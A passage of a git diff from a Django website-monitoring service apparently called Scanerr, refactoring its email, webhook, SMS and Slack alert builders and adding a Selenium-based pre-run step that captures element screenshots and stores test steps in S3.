         elif 'current_yellowlab_average' in e['data_type']:
-            data_type = 'Yellow Lab Avg:\t'+str(item.yellowlab_delta["scores"]["current_average"])+'\n\t'
+            title = 'Yellow Lab Avg'
+            data = str(item.yellowlab_delta["scores"]["current_average"])
         elif 'pageWeight_delta' in e['data_type']:
-            data_type = 'Page Weight Delta:\t'+str(item.yellowlab_delta["scores"]["pageWeight_delta"])+'\n\t'
+            title = 'Page Weight Delta'
+            data = str(item.yellowlab_delta["scores"]["pageWeight_delta"])
         elif 'images_delta' in e['data_type']:
-            data_type = 'Requests Delta:\t'+str(item.yellowlab_delta["scores"]["images_delta"])+'\n\t'
+            title = 'Images Delta'
+            data = str(item.yellowlab_delta["scores"]["images_delta"])
         elif 'domComplexity_delta' in e['data_type']:
-            data_type = 'DOM Complex. Delta:\t'+str(item.yellowlab_delta["scores"]["domComplexity_delta"])+'\n\t'
+            title = 'DOM Complex. Delta'
+            data = str(item.yellowlab_delta["scores"]["domComplexity_delta"])
         elif 'javascriptComplexity_delta' in e['data_type']:
-            data_type = 'JS Complex. Delta:\t'+str(item.yellowlab_delta["scores"]["javascriptComplexity_delta"])+'\n\t'
+            title = 'JS Complex. Delta'
+            data = str(item.yellowlab_delta["scores"]["javascriptComplexity_delta"])
         elif 'badJavascript_delta' in e['data_type']:
-            data_type = 'Bad JS Delta:\t'+str(item.yellowlab_delta["scores"]["badJavascript_delta"])+'\n\t'
+            title = 'Bad JS Delta'
+            data = str(item.yellowlab_delta["scores"]["badJavascript_delta"])
         elif 'jQuery_delta' in e['data_type']:
-            data_type = 'jQuery Delta:\t'+str(item.yellowlab_delta["scores"]["jQuery_delta"])+'\n\t'
+            title = 'jQuery Delta'
+            data = str(item.yellowlab_delta["scores"]["jQuery_delta"])
         elif 'cssComplexity_delta' in e['data_type']:
-            data_type = 'CSS Complex. Delta:\t'+str(item.yellowlab_delta["scores"]["cssComplexity_delta"])+'\n\t'
+            title = 'CSS Complex. Delta'
+            data = str(item.yellowlab_delta["scores"]["cssComplexity_delta"])
         elif 'badCSS_delta' in e['data_type']:
-            data_type = 'Bad CSS Delta:\t'+str(item.yellowlab_delta["scores"]["badCSS_delta"])+'\n\t'
+            title = 'Bad CSS Delta'
+            data = str(item.yellowlab_delta["scores"]["badCSS_delta"])
         elif 'fonts_delta' in e['data_type']:
-            data_type = 'Fonts Delta:\t'+str(item.yellowlab_delta["scores"]["fonts_delta"])+'\n\t'
+            title = 'Fonts Delta'
+            data = str(item.yellowlab_delta["scores"]["fonts_delta"])
         elif 'serverConfig_delta' in e['data_type']:
-            data_type = 'Server Config Delta:\t'+str(item.yellowlab_delta["scores"]["serverConfig_delta"])+'\n\t'
+            title = 'Server Config Delta'
+            data = str(item.yellowlab_delta["scores"]["serverConfig_delta"])
 
         # yellowlab scan data
         elif 'yellowlab_average' in e['data_type']:
-            data_type = 'Yellow Lab Avg:\t'+str(item.yellowlab["scores"]["globalScore"])+'\n\t'
+            title = 'Yellow Lab Avg'
+            data = str(item.yellowlab["scores"]["globalScore"])
         elif 'pageWeight' in e['data_type']:
-            data_type = 'Page Weight:\t'+str(item.yellowlab["scores"]["pageWeight"])+'\n\t'
+            title = 'Page Weight'
+            data = str(item.yellowlab["scores"]["pageWeight"])
         elif 'images' in e['data_type']:
-            data_type = 'Requests:\t'+str(item.yellowlab["scores"]["images"])+'\n\t'
+            title = 'Images'
+            data = str(item.yellowlab["scores"]["images"])
         elif 'domComplexity' in e['data_type']:
-            data_type = 'DOM Complex.:\t'+str(item.yellowlab["scores"]["domComplexity"])+'\n\t'
+            title = 'DOM Complex.'
+            data = str(item.yellowlab["scores"]["domComplexity"])
         elif 'javascriptComplexity' in e['data_type']:
-            data_type = 'JS Complex.:\t'+str(item.yellowlab["scores"]["javascriptComplexity"])+'\n\t'
+            title = 'JS Complex.'
+            data = str(item.yellowlab["scores"]["javascriptComplexity"])  
         elif 'badJavascript' in e['data_type']:
-            data_type = 'Bad JS:\t'+str(item.yellowlab["scores"]["badJavascript"])+'\n\t'
+            title = 'Bad JS.'
+            data = str(item.yellowlab["scores"]["badJavascript"])
         elif 'jQuery' in e['data_type']:
-            data_type = 'jQuery:\t'+str(item.yellowlab["scores"]["jQuery"])+'\n\t'
+            title = 'jQuery'
+            data = str(item.yellowlab["scores"]["jQuery"])
         elif 'cssComplexity' in e['data_type']:
-            data_type = 'CSS Complex.:\t'+str(item.yellowlab["scores"]["cssComplexity"])+'\n\t'
+            title = 'CSS Complex'
+            data = str(item.yellowlab["scores"]["cssComplexity"])
         elif 'badCSS' in e['data_type']:
-            data_type = 'Bad CSS:\t'+str(item.yellowlab["scores"]["badCSS"])+'\n\t'
+            title = 'Bad CSS.'
+            data = str(item.yellowlab["scores"]["badCSS"])
         elif 'fonts' in e['data_type']:
-            data_type = 'Fonts:\t'+str(item.yellowlab["scores"]["fonts"])+'\n\t'
+            title = 'Fonts'
+            data = str(item.yellowlab["scores"]["fonts"])
         elif 'serverConfig' in e['data_type']:
-            data_type = 'Server Config:\t'+str(item.yellowlab["scores"]["serverConfig"])+'\n\t'
+            title = 'Server Config.'
+            data = str(item.yellowlab["scores"]["serverConfig"])
         
         # image data
         elif 'avg_image_score' in e['data_type']:
-            data_type = ' Avg Image Score:\t'+str(item.images_delta["average_score"])+'\n\t'
+            title = 'Avg Image Score'
+            data = str(item.images_delta["average_score"])
         elif 'image_scores' in e['data_type']:
-            data_type = 'List of Image Scores:\t'+str([i["score"] for i in item.images_delta["images"]])+'\n\t' 
+            title = 'List of Image Scores'
+            data = str([i["score"] for i in item.images_delta["images"]])
         
         # logs data
         elif 'logs' in e['data_type']:
-            data_type = 'Error Logs:\t'+str(len(item.logs))+'\n\t'
+            title = 'Error Logs'
+            data = str(len(item.logs))
 
         # testcase data
         elif 'testcase' in e['data_type']:
-            status = 'Failed'
+            status = '❌ FAILED'
             if e['value'] == 'True':
-                status = 'Passed'
-            data_type = 'Testcase "'+str(item.case.name)+'" --> '+str(status)
+                status = '✅ PASSED'
+            title = f'"{item.case.name}"'
+            data = status
         
+        # create data string
+        data_str = f' {title}:   {data}\n'
+        exp_str += data_str
         
         # add to exp_list
-        exp_list.append(data_type)
-
+        exp_list.append({
+            'title': title,
+            'data': data
+        })
 
     # formating return data
     data = {
         'exp_list': exp_list,
-        'exp_str': ('\t'+''.join(exp_list))
+        'exp_str': exp_str,
     }
 
     return data
@@ -523,16 +584,10 @@ def automation_email(email: str=None, automation_id: str=None, object_id: str=No
         # retrieving user
         user = User.objects.get(email=email)
 
-        # get automation and deciding if "page" or "site" scope
+        # get automation 
         automation = Automation.objects.get(id=automation_id)
         schedule = automation.schedule
-        if schedule.site is not None:
-            url_end = '/site/'+str(schedule.site.id)
-            url = schedule.site.site_url
-        else:
-            url_end = '/page/'+str(schedule.page.id)
-            url = schedule.page.page_url
-
+    
         # getting object
         data = get_item(object_id=object_id)
         if not data['success']:
@@ -542,6 +597,14 @@ def automation_email(email: str=None, automation_id: str=None, object_id: str=No
         item = data['item']
         item_type = data['item_type']
 
+        # deciding if "page" or "site" scope
+        if item_type == 'Testcase':
+            url = item.site.site_url
+            dash_link = f'{settings.CLIENT_URL_ROOT}/site/{str(item.site.id)}'
+        else:
+            url = item.page.page_url
+            dash_link = f'{settings.CLIENT_URL_ROOT}/page/{str(item.page.id)}'
+
         # generating expressions from automation
         exp_list = create_exp(
             item=item, 
@@ -549,17 +612,18 @@ def automation_email(email: str=None, automation_id: str=None, object_id: str=No
         )['exp_list']
 
         # build email data
-        object_url = str(os.environ.get('CLIENT_URL_ROOT') + url_end)
+        object_url = f'{settings.CLIENT_URL_ROOT}/{item_type.lower()}/{str(item.id)}'
         subject = f'Alert for {url}'
         title = f'Alert for {url}'
         pre_header = f'Alert for {url}'
         pre_content = (
             f'Scanerr just finished running a {item_type} for {url}. ' 
-            f'Below are the current stats:\n'
+            f'Below are the current stats:'
         )
         content = (
             f'This message was triggered by an automation you created. ' 
-            f'You can change the automation and schedule in your site\'s dashboard. '
+            f'You can change the automation and schedule in your '
+            f'<a href="{dash_link}">dashboard</a>.'
         )
 
         context = {
@@ -570,7 +634,7 @@ def automation_email(email: str=None, automation_id: str=None, object_id: str=No
             'exp_list': exp_list,
             'object_url' : object_url,
             'home_page' : os.environ.get('CLIENT_URL_ROOT'),
-            'button_text' : 'View Site Dashboard',
+            'button_text' : f'View {item_type}',
             'content' : content,
             'email': email,
             'signature' : '- Cheers!',
@@ -618,33 +682,29 @@ def automation_report_email(email: str=None, automation_id: str=None, object_id:
         # get automation and deciding if "page" or "site" scope
         automation = Automation.objects.get(id=automation_id)
         schedule = automation.schedule
-        if schedule.site is not None:
-            url_end = '/site/'+str(schedule.site.id)
-            url = schedule.site.site_url
-        else:
-            url_end = '/page/'+str(schedule.page.id)
-            url = schedule.page.page_url
         
         # get `Report` if exists
         try:
-            item = Report.objects.get(id=uuid.UUID(object_id))
+            report = Report.objects.get(id=uuid.UUID(object_id))
             item_type = 'Report'
+            url = report.page.page_url
         except:
             return {'success': False}
 
         # build email data
-        exp_list = ''
-        object_url = str(item.path)
+        object_url = str(report.path)
         subject = f'Report for {url}'
         title = f'Report for {url}'
         pre_header = f'Report for {url}'
         pre_content = (
-            f'Scanerr just finished creating a {item_type} for {url}. ' 
-            f'Please click the link below to access and download the report.\n'
+            f'Scanerr just finished creating a ' 
+            f'<a href="{settings.CLIENT_URL_ROOT}/page/{str(report.page.id)}/report">Report</a> for {url}. '
+            f'Please click the link below to access and download the PDF.'
         )
         content = (
-            f'This message was triggered by an automation created with Scanerr. ' 
-            f'You can change the automation and schedule in your site\'s dashboard. '
+            f'\nThis message was triggered by an automation created with Scanerr. ' 
+            f'You can change the automation and schedule in your ' 
+            f'<a href="{settings.CLIENT_URL_ROOT}/page/{str(report.page.id)}">dashboard</a>.'
         )
 
         context = {
@@ -652,9 +712,8 @@ def automation_report_email(email: str=None, automation_id: str=None, object_id:
             'subject': subject,
             'pre_header' : pre_header,
             'pre_content' : pre_content,
-            'exp_list': exp_list,
             'object_url' : object_url,
-            'home_page' : os.environ.get('CLIENT_URL_ROOT'),
+            'home_page' : settings.CLIENT_URL_ROOT,
             'button_text' : 'View Report',
             'content' : content,
             'email': email,
@@ -663,7 +722,6 @@ def automation_report_email(email: str=None, automation_id: str=None, object_id:
 
         # send email
         sendgrid_email(message_obj=context)
-
         data = {
             'success': True
         }
@@ -708,12 +766,6 @@ def automation_webhook(
         # deciding if "page" or "site" scope
         automation = Automation.objects.get(id=automation_id)
         schedule = automation.schedule
-        if schedule.site is not None:
-            url_end = '/site/'+str(schedule.site.id)
-            url = schedule.site.site_url
-        else:
-            url_end = '/page/'+str(schedule.page.id)
-            url = schedule.page.page_url
 
         # getting object
         data = get_item(object_id=object_id)
@@ -723,6 +775,12 @@ def automation_webhook(
         # get object and type
         item = data['item']
         item_type = data['item_type']
+
+        # deciding if "page" or "site" scope
+        if item_type == 'Testcase':
+            url = item.site.site_url
+        else:
+            url = item.page.page_url
         
         # building json
         pre_json_data = json.loads(request_data)
@@ -770,15 +828,9 @@ def automation_phone(phone_number: str=None, automation_id: str=None, object_id:
     # checking if data is present
     if phone_number and automation_id and object_id:
 
-        # deciding on "page" or "site" scope
+        # getting schedule and automation
         automation = Automation.objects.get(id=automation_id)
         schedule = automation.schedule
-        if schedule.site is not None:
-            url_end = '/site/'+str(schedule.site.id)
-            url = schedule.site.site_url
-        else:
-            url_end = '/page/'+str(schedule.page.id)
-            url = schedule.page.page_url
 
         # getting object
         data = get_item(object_id=object_id)
@@ -789,20 +841,29 @@ def automation_phone(phone_number: str=None, automation_id: str=None, object_id:
         item = data['item']
         item_type = data['item_type']
 
+        # deciding if "page" or "site" scope
+        if item_type == 'Testcase':
+            url = item.site.site_url
+            dash_link = f'{settings.CLIENT_URL_ROOT}/site/{str(item.site.id)}'
+        else:
+            url = item.page.page_url
+            dash_link = f'{settings.CLIENT_URL_ROOT}/page/{str(item.page.id)}'
+
         # build the exp_str
         exp_str = create_exp(item=item, automation=automation)['exp_str']
 
         # build message data
-        object_url = str(os.environ.get('CLIENT_URL_ROOT') + url_end)
+        object_url = f'{settings.CLIENT_URL_ROOT}/{item_type.lower()}/{item.id}'
         pre_content = (
             f'Scanerr just finished running a {item_type} for {url}. ' 
-            f'Below are the current stats:\n\n\t{exp_str}\n'
+            f'Below are the current stats:\n\n{exp_str}\n'
+            f'View {item_type}: {object_url}\n\n'
         )
         content = (
             f'This message was triggered by an automation you created. ' 
-            f'You can change the automation and schedule in your site\'s dashboard. '
+            f'You can change the automation and schedule in your dashboard: {dash_link}'
         )
-        body = f'Hi there,\n\n{pre_content}{content}\n{object_url}'
+        body = f'Hi there,\n\n{pre_content}{content}'
         account_sid = os.environ.get("TWILIO_SID")
         auth_token  = os.environ.get("TWILIO_AUTH_TOKEN")
         client = Client(account_sid, auth_token)
@@ -845,16 +906,10 @@ def automation_slack(automation_id: str=None, object_id: str=None) -> dict:
     # check if data is present
     if automation_id and object_id:
         
-        # getting account and deciding on "page" or "site" scope
+        # getting schedule, account and automation
         automation = Automation.objects.get(id=automation_id)
         account = Account.objects.get(user=automation.user)
         schedule = automation.schedule
-        if schedule.site is not None:
-            url_end = '/site/'+str(schedule.site.id)
-            url = schedule.site.site_url
-        else:
-            url_end = '/page/'+str(schedule.page.id)
-            url = schedule.page.page_url
 
         # getting object
         data = get_item(object_id=object_id)
@@ -865,20 +920,30 @@ def automation_slack(automation_id: str=None, object_id: str=None) -> dict:
         item = data['item']
         item_type = data['item_type']
 
+        # deciding if "page" or "site" scope
+        if item_type == 'Testcase':
+            url = item.site.site_url
+            dash_link = f'{settings.CLIENT_URL_ROOT}/site/{str(item.site.id)}'
+        else:
+            url = item.page.page_url
+            dash_link = f'{settings.CLIENT_URL_ROOT}/page/{str(item.page.id)}'
+
         # build exp_str
         exp_str = create_exp(item=item, automation=automation)['exp_str']
 
         # build message data
-        object_url = str(os.environ.get('CLIENT_URL_ROOT') + url_end)
+        object_url = f'{settings.CLIENT_URL_ROOT}/{item_type}/{item.id}'
         pre_content = (
-            f'Scanerr just finished running a {item_type} for {url}. ' 
-            f'Below are the current stats:\n\n\t{exp_str}\n'
+            f'Scanerr just finished running a `{item_type}` for {url}. ' 
+            f'Below are the current stats:\n\n```{exp_str}```\n'
+            f'<{object_url}|*View {item_type}*>\n\n'
         )
         content = (
             f'This message was triggered by an automation you created. ' 
-            f'You can change the automation and schedule in your site\'s dashboard. '
+            f'You can change the automation and schedule in your '
+            f'<{dash_link}|dashboard>.'
         )
-        body = f'Hi there,\n\n{pre_content}{content}\n{object_url}'
+        body = f'Hi there,\n\n{pre_content}{content}'
         token = account.slack['bot_access_token']
         channel = account.slack['slack_channel_id']
         client = WebClient(token=token) 
diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 6b3ce518..03c1c1a9 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -30,12 +30,12 @@ class AutoCaser():
 
     def __init__(
             self, 
-            site: object,
-            process: object,
-            start_url: str=None,
-            configs: dict=settings.CONFIGS,
-            max_cases: int=4, 
-            max_layers: int=5,
+            site        : object,
+            process     : object,
+            start_url   : str=None,
+            configs     : dict=settings.CONFIGS,
+            max_cases   : int=4, 
+            max_layers  : int=5,
         ):
          
         # main objects & configs
@@ -171,7 +171,7 @@ def update_process(
             total: int, 
             complete: bool=False, 
             exception: str=None
-        ) -> object:
+        ) -> None:
         # calculate the current progress of the
         # task based on current iteration and total 
         # iterations expected
diff --git a/app/api/utils/automater.py b/app/api/utils/automater.py
index 6551b898..83f9ae5e 100644
--- a/app/api/utils/automater.py
+++ b/app/api/utils/automater.py
@@ -97,13 +97,16 @@ def build_exp_list(self) -> None:
             if self.object:
                 
                 # get comparison value
-                value = str(float(re.search(r'\d+', str(expression['value'])).group()))
+                if self.automation.schedule.task_type != 'testcase' and expression['data_type'] != 'test_status':
+                    value = str(float(re.search(r'\d+', str(expression['value'])).group()))
 
                 # get operator
                 if '>=' in expression['operator']:
                     operator = ' >= '
-                else:
+                elif '<=' in expression['operator']:
                     operator = ' <= '
+                else:
+                    operator = ' == '
                 
                 # get joiner
                 if 'and' in expression['joiner']:
@@ -124,6 +127,8 @@ def build_exp_list(self) -> None:
             elif 'image_scores' in expression['data_type']:
                 data_type = '[i["score"] for i in self.object.images_delta["images"]]' 
                 exp = f'{joiner}any(i{operator}{value} for i in {data_type})'
+            elif 'test_status' in expression['data_type']:
+                data_type = 'self.object.status' 
 
             # high-level scan data
             elif 'health' in expression['data_type']:
@@ -235,34 +240,43 @@ def build_act_list(self) -> None:
         for action in self.automation.actions:
 
             if 'slack' in action['action_type']:
-                action_type = f"\n  print('sending slack alert')\
-                    \n  automation_slack(automation_id='{str(self.automation.id)}', \
-                    object_id='{str(self.object_id)}')"
+                action_type = str(
+                    f"\n  print('sending slack alert')" +
+                    f"\n  automation_slack(automation_id='{str(self.automation.id)}'," +
+                    f" object_id='{str(self.object_id)}')"
+                )
             
             if 'webhook' in action['action_type']:
-                action_type = f"\n  print('sending webhook alert')\
-                    \n  automation_webhook(request_type='{action['request']}', \
-                    request_url='{action['url']}', request_data='{action['json']}', \
-                    automation_id='{str(self.automation.id)}', \
-                    object_id='{str(self.object_id)}')"
-            
+                action_type = str(
+                    f"\n  print('sending webhook alert')" +
+                    f"\n  automation_webhook(request_type='{action['request']}'," +
+                    f" request_url='{action['url']}', request_data='{action['json']}'," +
+                    f" automation_id='{str(self.automation.id)}'," +
+                    f" object_id='{str(self.object_id)}')"
+                )
+
             if 'email' in action['action_type']:
-                action_type = f"\n  print('sending email alert')\
-                    \n  automation_email(email='{action['email']}',\
-                    automation_id='{str(self.automation.id)}', \
-                    object_id='{str(self.object_id)}')"
-                
+                action_type = str(
+                    f"\n  print('sending email alert')" +
+                    f"\n  automation_email(email='{action['email']}'," +
+                    f" automation_id='{str(self.automation.id)}'," +
+                    f" object_id='{str(self.object_id)}')"
+                )
                 if type(self.object).__name__ == 'Report':
-                    action_type = f"\n  print('sending report email')\
-                        \n  automation_report_email(email='{action['email']}',\
-                        automation_id='{str(self.automation.id)}', \
-                        object_id='{str(self.object_id)}')"
+                    action_type = str(
+                        f"\n  print('sending report email')" +
+                        f"\n  automation_report_email(email='{action['email']}'," +
+                        f" automation_id='{str(self.automation.id)}'," +
+                        f" object_id='{str(self.object_id)}')"
+                    )
             
             if 'phone' in action['action_type']:
-                action_type = f"\n  print('sending phone alert')\
-                    \n  automation_phone(phone_number='{action['phone']}', \
-                    automation_id='{str(self.automation.id)}', \
-                    object_id='{str(self.object_id)}')"
+                action_type = str(
+                    f"\n  print('sending phone alert')" +
+                    f"\n  automation_phone(phone_number='{action['phone']}'," +
+                    f" automation_id='{str(self.automation.id)}'," +
+                    f" object_id='{str(self.object_id)}')"
+                )
 
             # adding action to act_list
             self.act_list.append(action_type)
diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 472cdebf..ae179d28 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -1,6 +1,6 @@
 from .driver import driver_init, driver_wait, quit_driver
 from .issuer import Issuer
-import time, uuid, json, boto3, os
+import time, uuid, json, boto3, os, requests
 from selenium.webdriver.common.by import By
 from selenium.webdriver.common.keys import Keys
 from ..models import * 
@@ -15,13 +15,16 @@
 
 class Caser():
     """ 
-    Run a `Testcase` for a specific `Site`.
+    Run a `Testcase` for a specific `Site` or 
+    gather element info for new `Case`.
 
     Expects: {
-        'testcase' : object,
+        'testcase'  : object,
+        'case'      : object,
     }
 
-    - Use `Caser.run()` to run case as Testcase
+    - Use `Caser.run()` to run Case as Testcase
+    - Use `Caser.pre_run()` to run gather element info for a new Case 
 
     Returns -> None
     """
@@ -29,12 +32,32 @@ class Caser():
 
 
 
-    def __init__(self, testcase: object=None):
+    def __init__(
+            self, 
+            case        : object=None, 
+            testcase    : object=None,
+            process     : object=None
+        ):
+       
+        # primary objects
         self.testcase = testcase
-        self.site_url = self.testcase.site.site_url
-        self.steps = self.testcase.steps
-        self.case_name = self.testcase.case.name
-        self.configs = self.testcase.configs
+        self.case = case
+        self.process = process
+        
+        # secondary objects
+        self.site_url = self.testcase.site.site_url if self.testcase else self.case.site.site_url
+        self.steps = self.testcase.steps if self.testcase else requests.get(self.case.steps['url']).json()
+        self.case_name = self.testcase.case.name if self.testcase else self.case.name
+        self.configs = self.testcase.configs if self.testcase else settings.CONFIGS
+
+        # init driver
+        self.driver = driver_init(
+            browser=self.configs.get('browser', 'chrome'),
+            window_size=self.configs.get('window_size'), 
+            device=self.configs.get('device')
+        )
+
+        # Selenium Keys reference
         self.s_keys = {
             '+':            Keys.ADD,
             'Alt':          Keys.ALT,
@@ -103,7 +126,47 @@ def update_testcase(
 
 
 
-    def format_element(self, element):
+    def update_process(
+            self, 
+            current: int, 
+            total: int, 
+            complete: bool=False, 
+        ) -> None:
+        """
+        Calculates the current progress of the
+        task based on current step and total 
+        number of steps expected - then updates self.process
+        with the info.
+
+        Expcets: {
+            current     : int, 
+            total       : int, 
+            complete    : bool=False, 
+        }
+
+        Returns -> None
+        """
+
+        final_progress = 90
+        progress = 0
+        success = False
+        if complete:
+            progress = 100
+            success = True
+        if not complete:
+            progress = float((current/total) * final_progress)
+
+        print(f'updating process --> {progress}%')
+        
+        # update Process obj
+        self.process.progress = progress
+        self.process.success = success
+        self.process.save()
+
+
+
+
+    def format_element(self, element: object) -> str:
         elememt = json.dumps(element).rstrip('"').lstrip('"')
         return str(element)
 
@@ -151,7 +214,67 @@ def save_screenshot(self) -> str:
 
 
 
-    
+
+    def save_case_steps(self, steps: dict, case_id: str) -> dict:
+        """ 
+        Helper function that uploads the "steps" data to 
+        s3 bucket
+
+        Expects: {
+            'steps'   : dict, 
+            'case_id' : str
+        }
+
+        Returns -> data: {
+            'num_steps' : int,
+            'url'       : str
+        }
+        """
+
+        # setup boto3 configurations
+        s3 = boto3.client(
+            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+            region_name=str(settings.AWS_S3_REGION_NAME), 
+            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+        )
+
+        # saving as json file temporarily
+        steps_id = uuid.uuid4()
+        with open(f'{steps_id}.json', 'w') as fp:
+            json.dump(steps, fp)
+        
+        # seting up paths
+        steps_file = os.path.join(settings.BASE_DIR, f'{steps_id}.json')
+        remote_path = f'static/cases/{case_id}/{steps_id}.json'
+        root_path = settings.AWS_S3_URL_PATH
+        steps_url = f'{root_path}/{remote_path}'
+
+        # upload to s3
+        with open(steps_file, 'rb') as data:
+            s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                remote_path, ExtraArgs={
+                    'ACL': 'public-read', 
+                    'ContentType': 'application/json',
+                    'CacheControl': 'max-age=0'
+                }
+            )
+
+        # remove local copy
+        os.remove(steps_file)
+
+        # format data
+        data = {
+            'num_steps': len(steps),
+            'url': steps_url
+        }
+
+        # return response
+        return data
+
+
+
+
     def get_element(self, selector: str=None, xpath: str=None) -> object:
         """ 
         Tries to get element by selector first and 
@@ -218,6 +341,29 @@ def format_exception(self, exception: str) -> str:
     
 
 
+    def get_element_image(self, element: object) -> str:
+        """ 
+        Grabs a screenshot of the passed "element"
+        and returns image data as base64 str.
+
+        Expects: {
+            "element": object (REQUIRED)
+        }
+
+        Returns -> str (base64 encoded)
+        """
+
+        try:
+            image = element.screenshot_as_base64
+            # sleep for .5 seconds to let image process
+            time.sleep(.5)
+        except:
+            image = None
+        return image
+
+
+    
+
     def run(self) -> None:
         """
         Runs the self.testcase using selenium as the driver
@@ -248,6 +394,7 @@ def run(self) -> None:
                 self.driver.get(f'{self.site_url}')
                 time.sleep(int(self.configs['min_wait_time']))
 
+
             if step['action']['type'] == 'navigate':
                 exception = None
                 passed = True
@@ -282,7 +429,7 @@ def run(self) -> None:
                     image=image
                 )
 
-            
+
             if step['action']['type'] == 'scroll':
                 exception = None
                 passed = True
@@ -314,7 +461,7 @@ def run(self) -> None:
                     image=image
                 )
         
-            
+
             if step['action']['type'] == 'click':
                 exception = None
                 passed = True
@@ -359,6 +506,7 @@ def run(self) -> None:
                     image=image
                 )
         
+
             if step['action']['type'] == 'change':
                 exception = None
                 passed = True
@@ -404,6 +552,7 @@ def run(self) -> None:
                     image=image
                 )
 
+
             if step['action']['type'] == 'keyDown':
                 exception = None
                 passed = True
@@ -458,6 +607,7 @@ def run(self) -> None:
                     image=image
                 )
 
+
             if step['assertion']['type'] == 'match':
                 exception = None
                 passed = True
@@ -510,6 +660,7 @@ def run(self) -> None:
                     image=image
                 )
             
+
             if step['assertion']['type'] == 'exists':
                 exception = None
                 passed = True
@@ -566,6 +717,192 @@ def run(self) -> None:
         return None
 
 
-    
+
+
+    def pre_run(self) -> None:
+        """
+        Runs the self.case using selenium as the driver
+        and tries to collect element img data.
+
+        Returns -> None
+        """
+
+        print(f'beginning pre_run for Case {self.case_name}')
+
+        # setting implict wait_time for driver
+        self.driver.implicitly_wait(self.configs.get('max_wait_time'))
+
+        i = 0
+        for step in self.steps:
+            print(f'-- running step #{i+1} --')
+        
+            # adding catch if nav is not first
+            if i == 0 and step['action']['type'] != 'navigate':
+                print(f'navigating to {self.site_url} before first step')
+                # using selenium, navigate to site root path & wait for page to load
+                self.driver.get(f'{self.site_url}')
+                time.sleep(int(self.configs['min_wait_time']))
+
+
+            if step['action']['type'] == 'navigate':
+                try:
+                    print(f'navigating to {self.site_url}{step["action"]["path"]}')
+                    # using selenium, navigate to requested path & wait for page to load
+                    driver_wait(
+                        driver=self.driver, 
+                        interval=int(self.configs.get('interval', 1)),  
+                        min_wait_time=int(self.configs.get('min_wait_time', 3)),
+                        max_wait_time=int(self.configs.get('max_wait_time', 30)),
+                    )
+                    self.driver.get(f'{self.site_url}{step["action"]["path"]}')
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
+
+                except Exception as e:
+                    print(e)
+
+            
+            if step['action']['type'] == 'scroll':
+                try:
+                    print(f'scrolling -> {step["action"]["value"]}')     
+                    # scrolling using plain JavaScript
+                    self.driver.execute_script(f'window.scrollTo({step["action"]["value"]});')
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
+                
+                except Exception as e:
+                    print(e)
+        
+            
+            if step['action']['type'] == 'click':
+                try:
+                    print(f'clicking element -> {step["action"]["element"]}')
+                    # using selenium, find and click on the 'element' 
+                    selector = self.format_element(step["action"]["element"]["selector"])
+                    xpath = self.format_element(step["action"]["element"]["xpath"])
+                    element_data = self.get_element(selector, xpath)
+                    element = element_data['element']
+
+                    # checking if element was found
+                    if element_data['failed']:
+                        raise Exception(f'Unable to locate element with the given Selector and xPath')
+                                    
+                    # scrolling to element using plain JavaScript
+                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+                    self.driver.execute_script("arguments[0].scrollIntoView();", element)
+                    self.driver.execute_script("window.scrollBy(0, -100);")
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
+
+                    # get elem img & update self.steps
+                    img = self.get_element_image(element)
+                    self.steps[i]['action']['img'] = img
+
+                    # clicking element
+                    element.click()
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
+                
+                except Exception as e:
+                    print(e)
+        
+        
+            if step['action']['type'] == 'change':
+                try:
+                    print(f'changing element to value -> {step["action"]["value"]}') 
+                    # using selenium, find and change the 'element'.value
+                    selector = self.format_element(step["action"]["element"]["selector"])
+                    xpath = self.format_element(step["action"]["element"]["xpath"])
+                    element_data = self.get_element(selector, xpath)
+                    element = element_data['element']
+
+                    # checking if element was found
+                    if element_data['failed']:
+                        raise Exception(f'Unable to locate element with the given Selector and xPath')
+
+                    # scrolling to element and back down a bit
+                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+                    self.driver.execute_script("arguments[0].scrollIntoView();", element)
+                    self.driver.execute_script("window.scrollBy(0, -100);")
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
+
+                    # get elem img & update self.steps
+                    img = self.get_element_image(element)
+                    self.steps[i]['action']['img'] = img
+
+                    # changing value of element
+                    value = step["action"]["value"]
+                    element.send_keys(value)
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
+
+                except Exception as e:
+                    print(e)
+
+
+            if step['action']['type'] == 'keyDown':
+                try:
+                    print(f'keyDown action for key -> {step["action"]["key"]}')
+                    # getting last known element
+                    n = (i - 1)
+                    elm = None
+                    while True:
+                        elm = self.steps[n]['action']['element']['selector']
+                        if elm != None and len(elm) != 0:
+                            break
+                        n -= 1
+                    selector = self.format_element(elm)
+                                
+                    # using selenium, find element and send 'Key' event
+                    selector = self.format_element(step["action"]["element"]["selector"])
+                    xpath = self.format_element(step["action"]["element"]["xpath"])
+                    element_data = self.get_element(selector, xpath)
+                    element = element_data['element']
+
+                    # checking if element was found
+                    if element_data['failed']:
+                        raise Exception(f'Unable to locate element with the given Selector and xPath')
+
+                    # scrolling to element and back down a bit
+                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+                    self.driver.execute_script("arguments[0].scrollIntoView();", element)
+                    self.driver.execute_script("window.scrollBy(0, -100);")
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
+
+                    # get elem img & update self.steps
+                    img = self.get_element_image(element)
+                    self.steps[i]['action']['img'] = img
+
+                    # using selenium, press the selected key
+                    element.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"]))
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
+
+                except Exception as e:
+                    print(e)
+
+
+            # increment step
+            i += 1  
+
+            # update process
+            self.update_process(
+                current=(i+1), 
+                total=self.case.steps['num_steps'], 
